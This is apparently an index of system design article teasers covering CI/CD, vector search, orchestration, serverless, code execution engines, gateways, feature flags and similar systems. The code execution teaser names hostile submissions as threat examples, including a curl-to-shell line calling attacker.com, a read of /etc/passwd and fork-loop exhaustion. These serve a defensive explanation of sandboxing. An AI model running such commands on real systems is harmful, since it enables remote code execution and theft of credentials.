Design a CI/CD Pipeline System - System Design

Everyone thinks CI/CD is simple. “A webhook fires on push, you spin up a box, run the tests, and if they pass you ship it - it is a glorified make test && deploy wrapped in a cron.” That mental model survives exactly until you ask the two questions that actually define the system. First: a monorepo push touches three files, but the repo has 40,000 build targets wired into a dependency graph where test E cannot run until library C is built which needs A and B - how do you figure out the minimal set of jobs that this change could possibly have broken, order them so no job runs before its inputs exist, and pack that onto a finite pool of workers so the critical path finishes fast and no small team’s tiny job waits forty minutes behind a mega-build? That is a dependency-aware scheduling problem over a DAG, and it is where every naive CI system falls over. Second: you are not running one team’s builds, you are running thousands of concurrent pipelines from hundreds of teams on a shared, elastic fleet of ephemeral workers that must be created clean, used once, and destroyed - because a build that leaks a secret or a cached artifact into the next tenant’s build is a security incident and a correctness bug at the same time. How do you provision those workers in seconds, schedule across them fairly, and guarantee a poisoned job never contaminates another? ...

39 min

Design a Vector Search Engine - System Design

Everyone builds vector search the same way the first time: load the embeddings into a list, and for each query compute the cosine similarity against every vector, then sort and take the top 10. It works on ten thousand vectors. Then the interviewer makes it the real problem: a billion 768-dimensional embeddings, a query vector has to come back with its approximate nearest neighbors in under 50ms, new vectors are upserted continuously and must be searchable within a second, the index is far too big to keep fully in RAM on one machine, and recall (how many of the true nearest neighbors you actually return) must stay above 95% even as you shard across memory-constrained nodes. ...

35 min

Design a Container Orchestration System - System Design

Everyone thinks a container orchestrator is a scheduler with a for-loop. “Keep a list of nodes, keep a list of containers, assign each container to the node with the most free memory, SSH in and docker run it - it is bin-packing plus a deploy script.” That mental model survives exactly until the interviewer asks the questions that turn it into a real distributed system: a node goes silent for thirty seconds - is it dead, or is it alive and healthy but partitioned from the control plane behind a flaky switch? If you reschedule its containers onto other nodes and the node was actually alive, you now have two copies of a workload that was supposed to have one, both writing to the same database. You push a new version of a service that has forty running replicas - how do you replace all forty without a single second where zero of them are serving traffic, and how do you stop the rollout automatically the moment the new version starts crash-looping? The scheduler places a container on a node and sends the “run this” command, but the network drops the acknowledgment - did it start or not, and if you retry, do you now have two? Ten thousand nodes all report their status every ten seconds - does the control plane fall over under a million status writes a minute? ...

41 min

Design a Multi-Tenant SaaS Platform - System Design

“Design a multi-tenant SaaS platform” sounds like “build an app and add a tenant_id column.” Say that in an interview and the follow-ups arrive immediately. “One tenant is a 50,000-seat bank with a compliance team that will audit whether their rows can ever be read by another tenant; the next is a 3-person startup on a free trial. Both run on the same servers and the same database cluster. How do you guarantee the bank’s data is isolated?” “Tenant A ships a CSV import that fires 40,000 writes in a minute - how does tenant B not notice?” “Each tenant has its own feature flags, SSO config, custom fields, data-residency region, and rate-limit tier. Where does that config live and how is it loaded on every request without a round trip?” “A single tenant grows to 80% of your largest shard. What now?” ...

30 min

Design a Serverless Functions Platform - System Design

Everyone thinks serverless is simple. “You upload a function, we run it when an event comes in, you pay per request - it is a glorified cron plus an HTTP handler.” That mental model survives exactly until you ask the two questions that actually define the system. First: when a request arrives for a function that has zero running instances - because it has not been called in an hour and you scaled it to nothing - where does the code run, and how fast can you get a sandboxed, isolated execution environment up and warm? That is the cold start, and if it takes two seconds the product is dead on arrival. Second: you are not hosting one customer’s function, you are hosting millions of distinct functions from hundreds of thousands of tenants, almost all idle at any instant, and you have a finite fleet of machines. How do you keep enough environments warm to make cold starts rare, without dedicating a machine to every function (you would need millions of idle machines and go bankrupt), while fairly sharing those warm environments so one customer’s traffic spike does not starve everyone else? That is the real system: a warm-pool multiplexing problem over a shared, oversubscribed fleet. ...

35 min

Design a Real-Time Bidding Platform - System Design

Most people picture a bidding platform as “a server that gets an ad request and says yes or no.” The interviewer lets that sit, then stacks the constraints that make it a genuinely hard system. You are not the exchange, you are the bidder - the demand side - connected to a dozen ad exchanges that each fire you a bid request for every impression they auction. The exchange gives you a hard deadline: reply within roughly 100 milliseconds end to end including the network, or your bid is simply discarded and someone else wins. For every one of those requests you have to look up who the user is (their segments, their recent behavior, their frequency caps) in a fraction of a millisecond, evaluate every one of an advertiser’s live targeting and bid rules against that profile, decide whether to bid and how much, and do it while making sure you never spend more than each campaign’s budget - a budget that is being drained simultaneously by bidders in three other data centers responding to the same campaign. A real-time bidding platform is not a yes/no server. It is a globally budget-constrained, sub-100ms decision engine that joins a live user profile to a set of advertiser rules on every single exchange request, at a scale of millions of requests per second - and the bid it returns is just the output. ...

35 min

Design a Workflow Orchestration Engine - System Design

Everyone thinks a workflow engine is a topological sort with a thread pool. “Build the DAG, sort it, run tasks whose dependencies are done, repeat - it is a graph traversal, two hundred lines.” That model survives exactly until the interviewer asks the questions that turn it into a real system: your scheduler process crashes forty minutes into a three-hour pipeline that has already finished eleven of fifteen tasks - when it comes back up, does it re-run those eleven (re-charging customers, re-sending the report, double-writing the warehouse) or does it know they are done and resume from task twelve? Two scheduler replicas both decide task transform is ready at the same instant - does it get dispatched to the worker pool once or twice? Task load depends on extract_a and extract_b; extract_b fails three times and dead-letters - does load hang forever waiting, or does the DAG mark it upstream_failed and alert someone? You have ten thousand DAGs, each with hundreds of tasks, all scheduled to kick off at midnight - does the scheduler fall over trying to evaluate every dependency edge at the top of the hour? ...

34 min

Design an Online Code Execution Engine - System Design

Everyone thinks running user code is easy. “Take the code, shell out to python submission.py, capture stdout, compare it to the expected output - it is a subprocess.run call.” That mental model survives exactly until you remember the code is written by a stranger on the internet who is actively trying to break out. The “submission” is import os; os.system('curl attacker.com/x | sh'). Or while True: pass to burn your CPU forever. Or fork() in a loop to exhaust every process slot on the box. Or open('/etc/passwd').read() to read your host’s secrets. Or a 10 GB [0] * 10**9 allocation to OOM the machine. Or it opens a socket to your internal metadata endpoint and steals cloud credentials. The naive subprocess.run runs all of that with the privileges of your service, on your host, with your network. It is not a code runner, it is a remote shell you handed to the entire internet. ...

33 min

Design a Service Discovery and Registry System - System Design

In a monolith, “call the inventory module” is a function call. In a fleet of 800 microservices spread over 15,000 instances that scale up and down, crash, get rescheduled, and move IPs every few minutes, “call the inventory service” is a surprisingly hard question: which of the inventory instances are alive right now, and what are their addresses? Hardcoding IPs is a non-starter - an autoscaler churns them constantly. A static load balancer in front of every service is operationally heavy and hides the health signal you actually need. The clean answer is a service discovery and registry system: a live, queryable map from a logical service name to the set of currently-healthy instances backing it. ...

26 min

Design a Time-Series Database - System Design

A time-series database looks like the easiest database to build and is one of the hardest to build well. The data is trivial: a name, some tags, a timestamp, a number. No joins, no foreign keys, no complex transactions. So the interviewer says “store metrics and let me query them” and you reach for a table (series, ts, value) with an index, and it works beautifully for a week of one host. Then the real shape shows up: millions of writes per second that never stop, timestamps that march forward almost perfectly evenly, values that barely change between samples, queries that almost never fetch a single point and almost always aggregate a range (“average CPU over the last 6 hours, per host”), data that must live for months without bankrupting you, and a requirement that a range-aggregate over that history return in milliseconds. The naive table dies on every one of those axes at once. ...

31 min

Design a Transactional Email Delivery Service (like SendGrid) - System Design

“Send an email” is one API call. Then you ask the real questions. Who signs the message so Gmail does not dump it in spam? Which IP address does it go out on, and what happens to every other customer on that IP when one of them sends garbage and gets it blocklisted? What do you do when Yahoo’s MX server answers “451 try again later” - retry now, retry in an hour, give up? When the recipient clicks “this is spam,” how do you ever find out, and how do you stop mailing them? How do you know the message was even opened? A transactional email service is not a mail-send function. It is a distributed SMTP sending plant whose actual product is deliverability - getting mail into the inbox, not the spam folder, not bounced - at a scale where you are sending billions of messages a day through thousands of receiving mail servers you do not control, on a pool of IP addresses whose reputation is a shared, fragile, slowly-earned asset. ...

33 min

Design a Coupon and Promo Code Service - System Design

“Design a coupon service” sounds like a CRUD table with a discount_percent column until you write down what actually breaks it. Marketing wants to print 10 million unique codes for a Diwali campaign, mail them out, and have each one usable exactly once. The rules are not simple: this code is 20% off, that one is flat 500 off orders over 2000, this batch is one-per-customer across the customer’s lifetime, that batch stacks with free shipping but not with other percentage coupons. And the whole thing has to answer POST /checkout in a few milliseconds during a flash sale when 200,000 people hit “apply code” in the same minute, because the coupon check sits directly on the critical path to revenue. ...

27 min

Design an API Gateway - System Design

Everyone draws the API gateway as a single box labelled “gateway” between the client and the microservices and moves on. Then the interviewer starts pulling threads: this one box is on the hot path of every request in the entire company, so what happens to latency when it does auth, rate limiting, routing, and circuit breaking on each of millions of requests per second? Where does the per-client rate-limit count live when you have 200 stateless gateway nodes behind a load balancer and the same customer’s requests are sprayed across all of them? What does the gateway do when one downstream service starts timing out - does it drag every caller down with it? Now it is a real problem. ...

30 min

Design an IoT Device Management Platform - System Design

A device management platform sounds like a CRUD app over a fleet table until you say the numbers out loud. One billion devices. Each one holds a live connection and pushes a telemetry reading every 30 seconds. Each one must be reachable, right now, to receive a command or a firmware update that you decide to send from the cloud. The interviewer lets “it’s just MQTT” sit for a beat and then asks the questions that break it: where does a billion live TCP connections terminate, how do you find the one server holding the socket for device d-8831xy when you need to push it a command, what happens to the 33 million telemetry messages per second, how do you roll firmware to 50 million devices without melting your own download tier or bricking the fleet, and what happens when a device that was online three seconds ago vanishes mid-update. ...

31 min

Design a Full-Text Search Engine (like Elasticsearch) - System Design

Everyone builds search the same way the first time: put the documents in a database, and run SELECT * FROM docs WHERE body LIKE '%term%'. It works on a thousand rows. Then the interviewer makes it the real problem: billions of documents, a query that matches a few keywords has to come back ranked by relevance in under 50ms, documents must be searchable within a second of being written, and the whole thing has to survive machines dying without losing data or going dark. ...

32 min

Design a Package Tracking System - System Design

You type a tracking number into an app and a timeline appears: “Picked up in Pune”, “Departed Mumbai hub”, “Arrived at Delhi facility”, “Out for delivery”, “Delivered”. Underneath that tidy list is a parcel that got scanned by a dozen different devices across a week - a pickup scanner in a van, a conveyor belt sorter, a handheld at a hub, a doorstep delivery app - each of them firing an event into the system from a different city, sometimes out of order, sometimes twice, sometimes hours late because the scanner was offline in a warehouse basement. The product looks like a list. The system is a distributed event pipeline feeding a state machine, and the interviewer will spend the whole hour on the gap between those two things. ...

27 min

Design a Video Transcoding Pipeline - System Design

Someone uploads a 4GB 4K master. Before anyone can watch it, that one file has to become roughly a dozen different versions - 360p, 480p, 720p, 1080p, 1440p, 4K, each in two or three codecs - and every version has to be cut into short segments and wrapped in a manifest so an adaptive player can stream it. That is tens of minutes to several hours of CPU work per upload. The naive mental model is “call ffmpeg on the file and wait.” That model dies the instant you have more than one user, because encoding a 2-hour movie serially takes as long as the movie, times the number of renditions, on one machine that might crash 90% of the way through and lose everything. ...

35 min

Design a Distributed Counter at Scale - System Design

“Design a distributed counter” sounds like homework until you write down what it actually is: a single number that millions of people want to add to at the same time. A TikTok video goes viral and its view count has to climb past a billion. An e-commerce flash drop decrements the same SKU’s stock from 10,000 to 0 while 2 million people hammer “buy.” A tweet’s like count, an ad’s impression count, a rate limiter’s request count - all the same shape. One logical integer, astronomically many writes converging on it, and a read path that wants the current value cheaply and often. The interviewer is not testing whether you can run count = count + 1. They are testing whether you understand that a single mutable number is the single worst thing to put under a write stampede, and whether you can pick the right consistency model for the specific counter in front of you. ...

28 min

Design a Feature Flag Service - System Design

A feature flag service sounds like a key-value store with a boolean in it. “Is new-checkout on? Return true or false.” That framing survives exactly until you ask the three questions that actually define the system. First: who is the flag on for - because “on” is rarely global; it is “on for 1% of users, ramping to 100%”, or “on for internal staff and users in Canada”, or “on for everyone except this one enterprise account that is paying us to be careful.” Second: how fast does a change take effect - because the entire reason flags exist is to turn a bad feature off now, and “now” means the kill switch has to reach every running instance of your app in well under a second, not on the next poll, not after a cache expires. Third: how much load does that put on your servers - because if you have 10 million SDK instances embedded in your customers’ backends and mobile apps, and each one asks a central server “what is the current flag config?” every time it evaluates a flag, you have built a self-inflicted DDoS. The real problem is this: evaluate flags locally inside millions of SDK instances with zero network latency on the evaluation path, support rich targeting and percentage-based gradual rollout that stays sticky per user, and propagate any flag change to every one of those millions of instances in under 100ms - without the central flag server collapsing under the fan-out. ...

38 min

Design TikTok / Instagram Reels (Short-Video Feed) - System Design

People see the swipe and think the hard part is video. It is not. Serving a 15-second clip is a CDN problem that YouTube solved a decade ago. The hard part of Reels is that every single swipe is a fresh ranking decision, the feed has no end, nobody chose what comes next, and the system has roughly 400 milliseconds to pick the next video out of billions while you are still watching the current one. That is the whole game. ...

30 min